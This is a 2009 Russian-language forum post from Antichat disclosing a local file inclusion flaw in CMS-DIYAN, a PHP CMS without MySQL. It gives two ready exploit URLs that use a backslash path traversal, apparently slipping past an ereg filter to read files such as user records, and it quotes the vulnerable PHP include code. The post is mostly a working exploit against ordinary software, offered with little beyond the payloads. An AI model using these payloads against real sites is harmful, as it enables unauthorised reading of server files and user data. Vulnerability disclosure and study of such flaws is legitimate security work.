Показать сообщение отдельно

  #11  
Старый 28.12.2009, 05:55
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами: 9000386

Репутация: 1148
По умолчанию

Продукт: CMS-DIYAN CMS без MySQL
Скачать : http://cms-diyan.ru/index.php?file=download
ось: WIN

LFI:
линки:
http://dyian/index.php?file=\..\user\1.txt
http://dyian/index.php?file=\..\user\1.txt&news

PHP код:
include_once('php/function.php');


if (!isset(
$_GET["file"])){
$ret=vizov_file("index");
}

if (isset(
$_GET["file"])){
$file=$_GET["file"];

if (!
ereg('^[^./][^/]*$'$file)) die("сработала защита от взлома!");


$ret=vizov_file($file);

PHP код:
function vizov_file($file)
{
$filedir="files/".$file;
if (isset(
$_GET['news']))$filedir="news/".$file;
if (
file_exists($filedir)){
if ((isset(
$_GET["dlyadruzey"]))&&(@fopen("http://cms-diyan.ru/dlyadruzey/".$_GET["dlyadruzey"], "r")))$filedir="http://cms-diyan.ru/dlyadruzey/".$_GET["dlyadruzey"];

if (!
file_exists($filedir))die('Не найден файл '.$filedir);
$handle fopen($filedir"r");
            
$ret[4] = ''$i=0;
            while (!
feof($handle)) {
                
$buffer fgets($handle4096);
                  if(
$i==0$ret[0]=$buffer;
                  elseif(
$i==1$ret[1]=$buffer;
                  elseif(
$i==2$ret[2]=$buffer;
                  elseif(
$i==3$ret[3]=$buffer;
                else 
$ret[4].=$buffer;
              
$i++;
            }

            
fclose($handle); 

Последний раз редактировалось Strilo4ka; 28.12.2009 в 14:08..
 
Ответить с цитированием